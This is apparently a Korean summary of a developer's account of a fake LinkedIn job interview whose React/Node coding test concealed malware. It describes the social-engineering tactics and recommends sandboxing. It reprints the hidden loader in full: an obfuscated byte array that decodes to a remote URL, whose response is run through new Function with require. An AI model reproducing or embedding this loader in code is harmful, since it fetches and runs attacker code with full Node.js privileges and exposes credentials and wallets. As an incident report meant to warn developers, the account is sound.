- 한 프리랜서 개발자가 정교한 가짜 채용 면접에서 코딩 테스트로 위장한 악성코드를 실행하기 30초 전에 발견하여 위기를 모면한 사례
- 공격자는 실존하는 블록체인 기업의 CBO를 사칭하며 1,000명 이상의 연결을 보유한 LinkedIn 프로필과 전문적인 Bitbucket 저장소를 활용해 신뢰를 구축함
- 제공된 React/Node 코드베이스의 서버 컨트롤러에 바이트 배열로 난독화된 악성코드가 숨겨져 있었으며, 이는 관리자 권한으로 실행 시 암호화폐 지갑, 파일, 비밀번호 등 모든 디지털 자산을 탈취하도록 설계
- 개발자가 코드 실행 직전 Cursor에게 의심스러운 코드 검사를 요청하여 악성코드를 발견, 이 악성코드 배포 URL은 정확히 24시간 후 삭제되어 증거 인멸 시스템까지 갖춘 것으로 드러남
- 이 공격은 긴급성, 권위, 익숙함, 사회적 증명을 활용한 심리적 조작 기법을 동원한 전형적 소셜엔지니어링 사례
- 개발자들이 모든 외부 코드 실행 전 샌드박스 검사 및 신원·리포지토리 검증을 의무화해야 한다는 실무적 교훈과 함께, 이 수법이 대규모 피해로 이어질 위험성을 경고함
공격의 시작과 접근 방식
- 필자는 8년 경력의 프리랜서 개발자로, 보안에 대해 평소 편집증적일 정도로 조심스러웠으나 이번 공격에서는 거의 속을 뻔함
- Symfa의 최고 블록체인 책임자 Mykola Yanchii라는 인물로부터 LinkedIn 메시지를 받음
- 실제 기업, 실제 LinkedIn 프로필, 1,000명 이상의 연결을 보유
- "BestCity라는 부동산 워크플로우 전환 플랫폼 개발 중. 파트타임 포지션 제공. 유연한 구조" 등 전문적이고 매끄러운 메시지
- 정상적인 채용 프로세스처럼 보여 통화에 동의
함정: 코딩 테스트로 위장한 악성코드
- 미팅 전에 Mykola가 "테스트 프로젝트"를 전송 - 기술 면접에서 표준적인 관행
- React/Node 코드베이스로 개발자의 기술을 평가하는 30분 테스트
- Bitbucket 저장소는 매우 전문적으로 구성
- 깔끔한 README, 적절한 문서화
- 태블릿을 들고 집 앞에 서 있는 여성의 기업용 스톡 사진까지 포함
- 필자의 실수: 통화 시간에 늦어 30분 만에 코드를 검토해야 하는 급한 상황
- 평소라면 모든 것을 샌드박스 환경(Docker 컨테이너, 격리된 환경)에서 실행
- 그러나 시간에 쫓겨 코드를 먼저 실행하지 않고 살펴보기만 함
- 30분 동안 명백한 버그 수정, docker-compose 파일 추가, 코드 정리 등 일반적인 작업 수행
- 코드를 실행하여 작업을 보여줄 준비가 완료된 시점에서 편집증적인 개발자 본능이 발동
위기 탈출: AI의 도움
-
npm start를 실행하기 직전, Cursor AI 에이전트에게 다음과 같은 프롬프트를 던짐
- "이 애플리케이션을 실행하기 전에, 이 코드베이스에 의심스러운 코드가 있는지 확인해줄 수 있나요? 읽지 말아야 할 파일을 읽거나, 암호화폐 지갑에 접근하는 것 같은 것들요"
- 결과는 충격적: server/controllers/userController.js 한가운데 다음과 같은 코드 발견
//Get Cookie
(async () => {
const byteArray = [
104, 116, 116, 112, 115, 58, 47, 47, 97, 112, 105, 46, 110, 112, 111, 105,
110, 116, 46, 105, 111, 47, 50, 99, 52, 53, 56, 54, 49, 50, 51, 57, 99, 51,
98, 50, 48, 51, 49, 102, 98, 57
];
const uint8Array = new Uint8Array(byteArray);
const decoder = new TextDecoder('utf-8');
axios.get(decoder.decode(uint8Array))
.then(response => {
new Function("require", response.data.model)(require);
})
.catch(error => { });
})();
- 이 코드의 특징
-
난독화되고 은밀하며 악의적이며 100% 활성 상태
- 정상적인 관리자 기능 사이에 끼워 넣어져 있어, 관리자 라우트 접근 시 완전한 서버 권한으로 즉시 실행되도록 설계
- 바이트 배열을 디코딩한 결과: https://api.npoint.io/2c458612399c3b2031fb9
- 처음 URL에 접속했을 때는 살아있었고, 페이로드를 확보
-
순수한 악성코드로, 암호화폐 지갑, 파일, 비밀번호 등 모든 디지털 자산을 탈취하도록 설계
- 핵심적인 사실: URL은 정확히 24시간 후 삭제됨 - 공격자들은 증거를 빠르게 소각하는 인프라를 갖추고 있었음
- VirusTotal에서 페이로드를 분석한 결과 실제 악성코드로 확인
조직적인 공격 작전
- 이것은 아마추어 수준의 사기가 아닌 고도로 정교한 작전
-
LinkedIn 프로필
- Mykola Yanchii는 100% 진짜처럼 보임
- 최고 블록체인 책임자 직함, 적절한 경력 이력
- "혁신"과 "블록체인 컨설팅"에 관한 전형적인 LinkedIn 게시물까지 포함
-
기업 위장
- Symfa는 완전한 LinkedIn 기업 페이지 보유
- 전문적인 브랜딩, 여러 직원, "블록체인으로 부동산 혁신"에 관한 게시물
- 관련 페이지와 팔로워 네트워크까지 구축
-
접근 방식
- 초기 접촉에서 경고 신호 전혀 없음
- 전문적인 언어, 합리적인 프로젝트 범위
- 일정 조율을 위해 Calendly까지 사용
-
페이로드 배치
- 악성코드는 서버 측 컨트롤러에 전략적으로 배치
- 관리자 기능 접근 시 완전한 Node.js 권한으로 실행되도록 설계
심리적 조작 기법
- 이 공격을 위험하게 만든 요소들
-
긴박감(Urgency)
- "시간을 절약하기 위해 미팅 전에 테스트를 완료하세요"
-
권위(Authority)
- LinkedIn 인증 프로필, 실제 기업, 전문적인 설정
-
익숙함(Familiarity)
- 표준적인 테이크홈 코딩 테스트
- 모든 개발자가 수십 번 경험한 형식
-
사회적 증명(Social Proof)
- 실제 직원과 실제 연결을 가진 실제 기업 페이지
- 필자 본인도 보안에 대해 편집증적임에도 불구하고 거의 속을 뻔했음
교훈
-
단 하나의 간단한 AI 프롬프트가 재앙에서 구해줌
- 고급 보안 도구도 아니고, 비싼 백신 소프트웨어도 아님
- 알 수 없는 코드를 실행하기 전에 코딩 어시스턴트에게 의심스러운 패턴을 찾아달라고 요청한 것뿐
- 무서운 점: 이 공격 벡터는 개발자에게 완벽
- 개발자들은 하루 종일 코드를 다운로드하고 실행
- GitHub 저장소, npm 패키지, 코딩 챌린지 등
- 대부분은 모든 것을 샌드박스에서 실행하지 않음
- 이것은 서버 측 악성코드로 완전한 Node.js 권한 보유
- 환경 변수, 데이터베이스 연결, 파일 시스템, 암호화폐 지갑 등 모든 것에 접근 가능
공격의 규모와 파급력
- 이러한 정교한 작전이 대규모로 개발자를 타겟팅하고 있다면, 얼마나 많은 개발자가 이미 감염되었을까?
- 현재 그들이 침투한 프로덕션 시스템은 몇 개나 될까?
-
완벽한 타겟팅
- 개발자는 이상적인 피해자
- 개발자의 컴퓨터에는 왕국의 열쇠가 들어있음: 프로덕션 자격증명, 암호화폐 지갑, 고객 데이터
-
전문적인 위장
- LinkedIn 정당성, 현실적인 코드베이스, 표준 면접 프로세스
-
기술적 정교함
- 다층 난독화, 원격 페이로드 전달, 데드맨 스위치, 서버 측 실행
- 한 번의 성공적인 감염으로 다음을 위협할 수 있음
- 주요 기업의 프로덕션 시스템 침해
- 수백만 달러 가치의 암호화폐 보유량
- 수천 명 사용자의 개인 데이터
결론 및 대응 방법
개발자로서 LinkedIn 채용 기회를 받는다면:
-
1. 항상 알 수 없는 코드를 샌드박스에서 실행
- Docker 컨테이너, VM 등 무엇이든 사용
- 절대 메인 컴퓨터에서 직접 실행하지 말 것
-
2. AI를 사용해 의심스러운 패턴 스캔
- 30초면 충분
- 전체 디지털 생활을 구할 수 있음
-
3. 모든 것을 검증
- 진짜 LinkedIn 프로필이라고 진짜 사람을 의미하지 않음
- 진짜 기업이라고 진짜 기회를 의미하지 않음
-
4. 직감을 믿을 것
- 누군가 코드 실행을 서두르게 한다면 경고 신호
- 이 사기는 필자의 초기 BS 탐지기를 속일 만큼 정교했음
- 그러나 한 번의 편집증적 순간과 간단한 AI 프롬프트가 전체 공격을 폭로
- 다음에 누군가 "코딩 챌린지"를 보낸다면 이 이야기를 기억할 것
- 암호화폐 지갑이 감사할 것임